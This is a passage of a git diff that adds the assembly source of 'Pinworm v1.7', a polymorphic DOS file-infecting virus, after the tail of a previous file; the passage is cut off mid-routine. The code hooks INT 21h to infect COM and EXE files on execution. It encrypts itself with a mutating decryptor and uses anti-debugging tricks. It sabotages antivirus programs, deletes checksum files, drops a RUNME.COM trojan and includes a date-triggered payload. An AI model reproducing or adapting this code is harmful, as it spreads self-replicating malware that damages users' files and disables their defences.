ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic engine data °°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +inc_op_ptr dw offset inc_buf ; ptr to location of INC +enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr +ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos +count_op_ptr dw offset cnt_buf ; ptr to counter reg pos +dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos +inc_op_ptr2 dw 0 +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX +enc_num db 0 +enc_type db 2Ch +ptr_set db 0BEh ; MOV DI|SI,XXXX +rel_off dw real_start+100h +count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX +crypt_bytes dw offset vend-offset dj_buf +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op db 75h,0 +;loop_op db 0E2h ; LOOP XX +loop_ofs db 0 +cons_byte dw 0 +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° One-byte Garbage Operands (must be 16)° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +nops_1: nop +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + +IF TWO_BYTE +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Two-byte Garbage Operands (must be 16)° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +nops_2: db 0EBh,0 ; JMP $+2 + db 74h,0 ; JZ $+2 + db 75h,0 ; JNZ $+2 + db 7Ch,0 ; JL $+2 + db 7Fh,0 ; JG $+2 + db 72h,0 ; JC $+2 + or bp,bp + not bp + neg bp + mov bp,ax + mov bp,dx + mov bp,si + mov bp,di + mov si,si + mov di,di + xchg cx,cx +ENDIF + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Activation Routine °°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Creates directory named after Pinworm and files +; in that directory which together form a message. +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + lea dx,act_file + xor cx,cx + mov ah,3ch + int 21h + xchg ax,bx + lea dx,act_data + mov cx,(offset activate-offset act_data) + mov ah,40h + int 21h + mov ah,3eh + int 21h + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Interrupt 24h - critical error handler +; +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; In-memory encryption function +; **virus encrypted in memory up to this point** +; +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Interrupt 21h +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +;ÄÄÄÄ Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +vend: ; end of virus in memory.. +cseg ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.pw17.asm b/MSDOS/Virus.MSDOS.Unknown.pw17.asm new file mode 100644 index 00000000..517ba874 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pw17.asm @@ -0,0 +1,1145 @@ + +; **Beta Code** +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ +; PiļWéRM v1.7 coded by ūirogen °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ž Variant A °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ +; +; See enclosed NFO for more info.. +; +; version 1.5: +; ž Conditional compilation equates added for creation of new variants +; ž Improved polymorphic engine +; ž Fixed possible bug in polymorphic engine after 50 or so generations +; version 1.6: +; ž Re-Enabled Constant 1 Byte Garbage Generation +; ž Changed activation routine +; version 1.7: +; ž The virus will now spawns trojans entitiled "RUNME.COM" if there are +; many successive failed infection attempts. +; ž Added SAFE_MEM compile option +; +; compile like so: +; TASM /m pw17 +; Tlink pw17 +; Exe2Com pw17 [convert to COM] +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Compile Options °°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +SECOND_CRYPT equ 0 ; use second cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? +TWO_BYTE equ 1 ; Use two byte garbage code? +SAFE_MEM equ 0 ; Always subtract from conv. mem. size +KILL_DATE equ 13 ; day of the month to play with user +MAX_EXE equ 4 ; max exe file size -high byte +TROJAN_NUM equ 0Fh ; count before spawning trojan + + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic Engine Equates °°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +INC_BUF_SIZE equ 38 ; INC buf +ENC_OP_BSIZE equ 38 ; ENC buf +PTR_BUF_SIZE equ 38 ; PTR buf +CNT_BUF_SIZE equ 38 ; CNT&OP +DJ_BUF_SIZE equ 38 ; DEC&JMP +GARBAGE_OPS equ 0Fh ; # of garbage ops in each group + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Misc. °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +TROJAN_DATA_LEN equ (offset td_end-offset trojan_data) +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +real_start equ offset dj_buf+3 ; starting location of encryted code +cr equ 0ah + +org 0h + +start: +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic Encryptor/Decryptor Buffer +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; + encrypt: + ptr_buf db PTR_BUF_SIZE dup (90h) + encryptor: + cnt_buf db CNT_BUF_SIZE dup(90h) + enc_loop: + inc_buf db INC_BUF_SIZE dup(90h) + enc_op_buf db ENC_OP_BSIZE dup(90h) + dj_buf db DJ_BUF_SIZE dup (90h) + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Second Decryptor - Anti-Debugging °°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ž Uses reverse direction word XOR encryption +; ž Uses the following techniques: +; š JMP into middle of operand +; š Replace word after CALL to kill stepping over call +; š Kills INT 1 vector +; š Disables Keyboard via Port 21h +; š Reverse direction encryption prevents stepping past loop +; š Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; š Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op ; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + + +ENDIF +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Start of Viral Code °°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + mov cs: non_infects[bp],0 ; reset non-infection counter + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,KILL_DATE ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + +IF NOT SAFE_MEM + call get_timer + cmp dl,5 + jle no_install +ENDIF + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Infection Routine °°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jnz proceed + inc non_infects ; increment non-infection counter + jmp d_time +proceed: + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + call make_trojan + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,MAX_EXE + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jz proceed2 + inc non_infects ; increment non-infection counter + jmp d_time +proceed2: + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Kills CHKLIST.CPS and CHKLIST.MS °°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Set File PTR °°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Make Trojan File °°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +make_trojan: + cmp non_infects,TROJAN_NUM + jl dont_trojan + mov non_infects,0 + xor cx,cx + mov ah,3ch + lea dx,trojan_name + int 21h + xchg ax,bx + mov ah,40h + lea dx,trojan_data + mov cx,TROJAN_DATA_LEN + int 21h + mov ah,3eh + int 21h +dont_trojan: + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Morph, copy, & crypt °°°°°°°°°°°°°°°°°° + +; 0 bytes constant +; 0 functionally equivilant operands in constant locations +; +; Random byte defined as: +; 76543210 +; ³³³³³³³ĄÄ 0=JNZ,1=JNS +; ³³³³³³ĄÄÄ 0=ADD&SUB, 1=XOR +; ³³³³³ĄÄÄÄ 0=BYTE CRYPTION, 1=WORD CRYPTION +; ³³³³ĄÄÄÄÄ 1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND +; ³³³ĄÄÄÄÄÄ 1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY +; ³³ĄÄÄÄÄÄÄ 1=USE CONSTANT STREAM OF ONE BYTE GARBAGE, 0=NORMAL RANDOM +; ³ĄÄÄÄÄÄÄÄ not used +; ĄÄÄÄÄÄÄÄÄ not used +; +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +encrypt_code: + + push bx ; save the handle + + call get_timer +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + + mov ax,0FFFFh + call random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + +;ÄÄÄÄ Fill buffer space with one-byte garbage ops + + lea di,encrypt + mov bp,enc_size+1 + test enc_num,00100000b ; use constant 1 byte operand? + jnz do_constant + mov bl,1 + jmp fb1 +do_constant: + mov bl,0 +fb1: + call fill_buffer + +;ÄÄÄÄ Randomly select between jmp type : JNZ or JNS + + test enc_num,00000001b + jnz jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +;ÄÄÄÄ Select encryption type: XOR or ADD&SUB + + mov enc_type,04 ; default to encrypting ADD + mov dec_type,2Ch ; and decrypting SUB + test enc_num,00000010b + jz use_add_sub + mov dec_type,34h ; decrypting XOR + mov enc_type,34h ; encrypting XOR + use_add_sub: + +;ÄÄÄ Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next register in line + inc byte ptr dec_op + +;ÄÄÄÄ Select position of INC DI|SI + + mov ax,INC_BUF_SIZE-1 + call random ; select a position in the buffer.. + xchg di,dx + add di,offset inc_buf + mov inc_op_ptr,di ; save ptrs + mov inc_op_ptr2,di + +;ÄÄÄÄ Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr [di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr [di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr dec_type ; increment decryptor + inc byte ptr enc_type ; increment encryptor + done_chg_ptr: + +;ÄÄÄÄ Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test enc_num,00000100b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ax,di + sub ax,offset inc_buf+1 + call random + mov ch,byte ptr [di] ; get INC DI|INC SI operand + sub di,dx + mov byte ptr [di],ch ; make a copy of it for word cryption + mov inc_op_ptr2,di + use_byte: + +;ÄÄÄÄ Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +;ÄÄÄÄ Set DEC XX /JNS|JNZ operands + + mov ax,DJ_BUF_SIZE-3 + call random ; select a pos. + add dx,offset dj_buf + mov di,dx + sub dx,offset enc_loop-3 ; find loop size + neg dx ; negate for negative jump + mov byte ptr jnz_op+1,dl ; write jmp offset + dec dl + mov byte ptr loop_ofs,dl ; write loop offset + mov dec_op_ptr,di + lea si,dec_op + movsb ; write operand(s) +write_loop: + movsw + inc di + add rel_off,di ; chg offset for decryption + push di ; save offset after jmp + + +;ÄÄÄÄ Set MOV DI,XXXX|MOV SI,XXXX + + mov ax,PTR_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset ptr_buf ; build ptr + mov ptr_op_ptr,di ; save ptr + lea si,ptr_set + movsw ; write op + movsb + +;ÄÄÄÄ Set MOV AX|BX|DX|CX,XXXX + + mov ax,CNT_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset cnt_buf ; build ptr + mov count_op_ptr,di ; save ptr + lea si,count_op + movsw ; write op + movsb + +;ÄÄÄÄ Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov ax,ENC_OP_BSIZE-5 + call random ; select pos. + xchg dx,di + add di,offset enc_op_buf ; build ptr 